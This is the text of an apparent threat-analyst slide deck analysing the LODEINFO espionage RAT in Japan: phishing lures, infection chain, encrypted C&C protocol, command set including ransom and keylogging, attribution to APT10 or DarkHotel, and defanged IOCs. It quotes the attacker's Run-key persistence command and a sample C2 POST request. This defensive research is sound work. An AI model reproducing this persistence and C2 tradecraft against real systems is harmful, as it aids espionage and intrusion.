Tracking rapid evolution? Copycat? of An APT RAT in Asia

Hiroshi Takeuchi
Threat Analyst
1

Who am I?
• Malware Analyst, Reverse Engineer @ Security Research Center• One of our missions is analysis of cyber espionages, especially targeting Japan

2

Research Motivation• Almost every week / day, we hear the name of RAT• One day, A RAT caught our attention, called “LODEINFO”• Unknown code, Rapid Version UP & Changing TTP, etc.
• Contrary to our expectation, Very Active & Persistence..

3

Agenda• Overview of LODEINFO• Actor’s TTP• Deep Dive into LODEINFO• Who’s behind?
• Conclusion

4

LODEINFO•••••First Observed in Dec 2019. Its version was v0.1.2
HTTP RAT with basic features. (File UP/DOWN, Inject shellcode, etc.)
New implementation and no attribution
Implementing malicious codes inside benign program source
So far, Observed ONLY IN JAPAN5

Targeted Industries we observed

MediaDefense

Think-Tank

66

Very Active Campaign

Since the middle of December 2019, observed
cyber espionages to organizations and people
who are working in foreign policy, nationalsecurity policy, economic policy domains,
especially US-China relations.

Source: Information-technology Promotion Agency, Japan (IPA). J-CRAT 2019 2H Report7

Attack Vector: Spear Phishingsubject: The head of SVR talks
relationship with Japan

Message to let recipient
to enable macro

The actor has used gmail to deliver and used 163 mail account (free mail in China)
for password recovery.

88

Recent Attachment

input password to open the doc

enable macro and press[Modify] and [Next] button

9Rapid New ReleaseDec-19Jan-20Feb-20Mar-20

Apr-20May-20Jun-20Jul-20v0.3.8
v0.3.6v0.3.5v0.3.4v0.3.2v0.2.7v0.1.21010

Initial Compromise Technique at an early stage (v0.1.2, v0.2.7)

1) Drop DLL
Attached doccontainsmacro2) Add Run
Registry Key

4) Injects code into svchost3) Execute by rundll32
rundll32 xxxx.dll, mainrundll32.exe
LODEINFO (DLL)•XOR (16 bytes key)svchost.exe•

AES + Bit Operation* Some variants decrypts code in rundll32 memory

11Initial Compromise Technique later (v0.3.4 ~)1) Drop1) Drop EXE & DLLAttached doc
includingmacroLoads DLL

2) Run EXE3) Add Run
Registry Key

Legit EXE

LODEINFO (DLL)DLL Side-Loading••

rundll32.exe

XOR (1byte key) -> LODEINFO
AES + Bit Operation - > Config
12LODEINFO Reuse

Massive Spear phishingemails with various kinds ofdecoys

South Korea Japan Dialogue

MOFA Subsidy

COVID-19

CV

LODEINFO v0.3.X

1313

Dual Operation

139.180.192[.]19

1st LODEINFO
reg add
HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run /v xxxxxx /t REG_SZ /dc:¥programdata¥xxxxxx¥xxxxxx.exe /f
2nd LODEINFO

www.evonzae[.]com

Once confirmed the target,2nd RAT was uploaded to the compromised device.
Uploaded file was another LODEINFO (same version)
Diffs are• no persistence (manual operation necessary)• C&C domain specified (all 1st LODEINFO C&C were IPs)
14

Dual Operation Intention
A. 2nd C&C is mothership & hide as much as possible
B. Multiple operators work together simultaneously•••

Multiple C&Cs were in the configuration until v0.2.7
The actor’s tactic is to shorten time for accomplishing objectives
C&C does not support collaboration of operators

LODEINFO v0.2 .7

15

Infrastructure• All C&C were set up on VPS in other countries than Japan• Recently, C&C servers were set up in datacenters in Japan
1616

Linux(Ubuntu) platform C&C

17

LODEINFO Workflow
Start

Decrypt code

Load DLLs (API Hashing)

Connect C&C

Check Response

SHA512 hash of AES key is same?

Decrypt Response

Host Information
Create Thread

Command Handler

Decrypt Config(AES +)AcquireSeDebugPrivilege

Add Reg Keyfor persistence18Encrypted Configuration Format (Bit operation + AES)
Encrypted BlobKeyIVlen

N/A

32 byte16 byte4 byte1 bytedataeAES

Custom Bit Operation

decrypted config

19

C&C Communication Data Format
Transferred DataHeader
SHA512 ofAES Key
16 bytesbase 64
encoded
PayloadLen

N/A

4 bytes

1 bytebase64base64 encoded
28 bytes(0x1C)+Data
SHA512 of Payload
XOR
Tick CountXORed Len48 bytes

4 bytesXOR
KEY

Payload(Bit Operation +AES)

base64base64 encoded

1 byteAdded v0.2.7~

long Len;for (i =0;i < 4;i++)Len[i] = Len[i] ^ KEY

20

Communication Data Encryption
POST / HTTP/1.1
Fixed String
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/77.0.3865.90 Safari/537.36
Host: 133.130.121[.]44
Content-Length: 216
Connection: Keep-Alive
Header + Payload
Cache-Control: no-cache
3_x78Ta=9yBOQJ8zPCATcHUMSuyIYrQAAACyAgdAGcVdfjAdEJDwqDwuSmo7DTgf8pLQNFMv4htNcvzTEvVmqjQDu3MSVq_-nG2Ln5-fn5KGdcpaPaTZ6[REDACTED]Lt5yV8oWTVTaNHbVC3ys7F3GQXuPu65_nwXBSL507D8Ow..

21

Anti-Analysis (Shellcode Like)

v0.1.2v0.2.7~22

Stack Strings AES & SHA512 Constants

AES KEY

AES IV• Some good tools to find encryption (findcrypt, findcrypt-yara, cryptgrep)• Need to add signature to find stacking constants
23Remote Commands

0x4D 0x5A ‘MZ’ …

0xE9 ‘JMP’…

OthersLoad PE file in memory

Load shellcode in memory

Deletedin v0.3.8

Next Slide

24

UNIX Like Commands
commandshow supported commands

rmdelete filelslist files

printscreenshotsend

download file from C&C

ransomencrypt files

recv

upload file to C&C

keylogkey logging?

memoryinject shellcode

killterminate processcatshow file content

cdchange current directoryvershow lodeinfo version• arbitrary command is also supported•

e.g. cmd.exe /c ipconfig

e.g. ransom c:¥ransom
25

Command Implementation History
v0.1.2v0.2.7v0.3.2v0.3.4v0.3.5v0.3.6v0.3.8command

○

○

○

○

○

○

○

ls

○

○

○

○

○

○

○

send

○

○

○

○

○

○

○

recv

○

○

○

○

○○

○

memory

○

○

○

○

○

○

○

kill

○

○

○

○

○

○

○

cat

○

○

○

○

○

○

○

cd

○

○

○

○

○

○

○ver

○

○

○

○

○

○

○

○

○

○

○

○

○

○

○

ransomNot available

Not available○keylog

Not available

Not available

Not available

printrm26

ransom (File Encryption) Flow
Receive Target File or directoryfrom C&C

Target fileNY
Create AES KEY (32bit) + IV (16bit)
from SHA512 Hash of a Data

RSA 2048-bit Encryption (Key & IV)skip encryption list

Encrypt File

More files?
YN27Encrypted File Format
Ransom Marker(40 bytes)

RSA Encrypted (256 bytes)[AES Key(32bytes) & IV(16bytes)]

Encrypted Data
(Custom bit operation + AES)

28

28

Coding Miss?

Using new allocated memory address

In fact, the developer seems to want to use system time?
Correct: *(systemtime + i)

29Who is behind?

30

DarkHotel• Target Industry is overlapping• Since 2015 targeting to academic & media sectors have been observed• Media (especially Korean Peninsula)• One of objects is foreign policy espionage• 1st RAT implant is more complicated than LODEINFO• Multiple downloads• Filtering target severely (target’s PC MAC address, etc.)• No similar Malware

31Complicated 1st foothold establishment Procedure32

APT10• Target Industry is overlapping• Since 2016, targeting entities in Japan had been observed• Media, others (various kinds of industries)• One of objects is foreign policy espionage• Delivery is similar with LODEINFO• Simple Office Macro Dropper• One of RATs, ANEL coding style is similar to LODEINFO

33

Coding Style Similarity to Early Version ANEL
1. At the beginning of main processing, C&C URLs string is copied to a buffer.
2. C&C Communication data (Encryption + base64)
CryptBinaryString() is used for base64 encoding of encrypted data
3. Fixed User-Agent string is used for HTTP POST*ANEL uses ObtainUserAgentString(), but RedLeaves variants uses Fixed string

4. Implementing encryption by hand instead of calling encryption libraries
5. Response is read by InternetReadFile(). Create new thread for received command
6. Version string is embedded in the binary.
34

Coding Style Similarity
LODEINFO v0.1.2ANEL 5.1.1

35

Coding Style Similarity
LODEINFO v0.1.2
LODEINFO v0.1.2

ANEL 5.1.1

ANEL 5.1.1

36

Coding Style Similarity
LODEINFO v0.1.2
LODEINFO v0.1.2

ANEL 5.1.1

ANEL 5.1.1

37Sep-17
Oct-17
Nov-17
Dec-17Jan-18
Feb-18Mar-18Apr-18May-18Jun-18
Jul-18Aug-18
Sep-18Oct-18
Nov-18Dec-18Jan-19Feb-19Mar-19Apr-19
May-19Jun-19Jul-19Aug-19Sep-19Oct-19
Nov-19Dec-19Jan-20Feb-20Mar-20
Apr-20May-20Jun-20Jul-20

ANEL - LODEINFO

ANEL5.0.0
5.5.05.4.1

LODEINFO

5.3.2
5.3.1

5.3.0

5.2.2
0.3.8
0.3.6
0.3.5

5.2.0
0.3.4

5.1.2
0.3.2

5.1.1
0.1.2
0.2.7

38

Comparison

LODEINFO

DarkHotel

APT10Victim

•
•

Media
Foreign Policy

•
•
•

Media
Foreign Policy
Others

•
•
•

Media
Foreign Policy
Others

Initial Compromised
TTP

•
•
•

Spear Phishing
Office Macro
Simple••••Spear Phishing
Office Macro
LNK
Complicated•••

Spear Phishing
Office MacroSimple•

LODEINFO••

AsruexOthers•••ANEL
REDLEAVES
OthersToolsetInfrastructure

coding style similarity

No Overlapping
39

Unknown Threat Actor One Possibility
Japanese: Title

Russian: name
Destination IP, 3 weeks
before LODEINFO wasdelivered

HeadingPairs of only 1 doc file contains Russian

Debug Message in v0.1.2

40

Attribution Theories
A. LODEINFO is a new toolset of APT10
B. LODEINFO is a new toolset of DarkHotel••

Different TTP from observed TTP in the past
Copycat for False Flag

C. LODEINFO is a toolset of Unknown Group• Copycat APT10 toolset & TTP for making up for development skill• Nexus to Russian region

41

Conclusion•Current TTP & Toolset is not high sophisticated however
the actor is very active & evolving energetically.
•••

We haven’t found High Confident Attribution yet••

The activity probably continues.
Purpose is Foreign Policy & National Security Intelligence

Need to track the actor’s activity more and share with others

LODEINFO can be used in other countries than Japan in future••

One of the possibilities is APT10’s new toolset
Both espionage and system destruction

42Thank you

Any Question?
takeuchi-h at macnica.net

43

Reference
https://blogs.jpcert.or.jp/en/2020/02/malware-lodeinfo-targeting-japan.html
https://www.macnica.net/pdf/mpressioncss_ta_report_2019_4_en.pdf
https://blogs.jpcert.or.jp/en/2020/06/evolution-of-malware-lodeinfo.html
https://www.ipa.go.jp/files/000083013.pdf
https://blogs.jpcert.or.jp/en/2016/06/asruex-malware-infecting-through-shortcut-files.html
https://hitcon.org/2018/pacific/downloads/1214-R2/1330-1400.pdf
https://blogs.jpcert.or.jp/en/2019/06/darkhotel-lnk.html
https://jsac.jpcert.or.jp/archive/2019/pdf/JSAC2019_6_tamada_jp.pdf

44

Indicators Of Compromise
Indicator

Type8151ae439dc309b6b07892ba6753f0ff179f81081064a38c1e39e46a9c49416c

SHA256

DLL v0.2.7

1cc809788663e6491fce42c758ca3e52e35177b83c6f3d1b3ab0d319a350d77d

SHA256shellcode v0.3.2

641d1e752250d27556de774dbb3692d24c4236595ee0e26cc055d4ab5e9cdbe0

SHA256

doc drops v0.3.5

8c062fef5a04f34f4553b5db57cd1a56df8a667260d6ff741f67583aed0d4701

SHA256

DLL v0.3.573470ea496126133fd025cfa9b3599bea9550abe2c8d065de11afb6f7aa6b5df

SHA256

doc drops v0.3.665433fd59c87acb8d55ea4f90a47e07fea86222795d015fe03fba18717700849

SHA256

DLL v0.3.6

172.105.232[.]89

C&C

130.130.121[.]44

C&C

118.107.11[.]135

C&C

103.140.187[.]183

C&C

103.27.184[.]27

C&C

172.105.230[.]196

C&C

172.105.232[.]89

C&C

139.180.192[.]19

C&C

www.amebaoor[.]net

C&C

www.evonzae[.]com

C&C

Note45